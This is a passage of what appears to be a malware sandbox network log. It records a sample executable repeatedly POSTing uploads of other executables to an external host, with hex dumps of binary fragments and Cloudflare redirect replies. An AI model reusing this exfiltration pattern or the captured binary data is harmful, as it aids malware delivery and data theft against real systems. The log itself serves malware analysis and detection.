Oct 10, 2024 21:01:22.095307112 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:22.095357895 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:22.095422983 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:22.099565029 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:22.394829035 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:22 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:22 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v8EWmX5E9IZ4lJPFYta7sqlQTZd059%2BpPTgKTqrcQZ%2BFhbC13QG5d1Mh3CD1WrDVIC66GTnrPP6Gk5cwgr2mzqI95jcuNp5tMlrfSRYG56VagCgmQkMq0sObA2jzYRwkGScEtL%2BrDbSNew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbcccefe7cfc-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:22.698898077 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------743a0c72bf65e03a
Oct 10, 2024 21:01:23.179765940 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:23.181080103 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 34 33 61 30 63 37 32 62 66 36 35 65 30 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------743a0c72bf65e03aContent-Disposition: form-data; name="file[]"; filename="rifaien2-pZiVwtzAoHPN50fS.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:23.181497097 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:23.186446905 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:23.186593056 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:23.186614990 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:23.186670065 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:23.186690092 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:23.186743975 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:23.186763048 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:23.186794996 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:23.484879017 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:23 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:23 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6C0EeODy4zjXTeSPUHu1ihcmRr76fPPusJvHU0OQpL0vnABgxYolAzjIW5DxkMbJb66nE2T7wdehyE3xslP6JhFDbnD4hsGkEgeS5euRJZpFIMPfKlyapRzBUQq%2B7ItBRkKQyET9tIse2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbd3bf2a41e9-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:23.664011955 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------a648496c58ebcb01
Oct 10, 2024 21:01:24.136116028 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:24.137006998 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 36 34 38 34 39 36 63 35 38 65 62 63 62 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------a648496c58ebcb01Content-Disposition: form-data; name="file[]"; filename="rifaien2-epoE6KTuro0m1xNJ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:24.137130022 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:24.142431974 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:24.142431974 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:24.142550945 CEST	7416	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:24.142594099 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:24.146991014 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:24.147660971 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:24.147779942 CEST	4944	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:01:24.147779942 CEST	9888	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:01:24.452714920 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:24 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K9RZV7VNhxlSFGf4OO8opYmfJHs8%2Fu8kDc8zfPdqWOiUw7JL9xyBYQMCoI%2FCZ3T8AtwgUpEdf0OZP009a8Pc8RmU5L08MvaHW%2BvyWnyPwR8ce9qQ8Hi3djVMVa7qxejjgte0v9APdIYS%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbd9ace242f7-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49742	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:24.587472916 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9a061703ece1419c
Oct 10, 2024 21:01:25.075295925 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:25.150558949 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 61 30 36 31 37 30 33 65 63 65 31 34 31 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9a061703ece1419cContent-Disposition: form-data; name="file[]"; filename="rifaien2-5JMaNQJ1bicgDKr9.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:25.150883913 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:25.155980110 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:25.156035900 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:25.156068087 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:25.156096935 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:25.156131029 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:25.156158924 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:25.156198025 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:25.160770893 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:25.472897053 CEST	819	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:25 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:25 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QCKDWqXiZotv%2FAv9KGYj5MBbiet%2FitqFS3Rqf4qYOEADcNcjinaW3VrJ5k2m8%2BfZB3OxYTSJFcno%2FKsutgYeT4XLRe5ii7kM3joAFoIeOCNCv%2FjO%2FP7xTqMdkCYESSVyb9xgCkRB8zgyhA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbdf8d024261-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 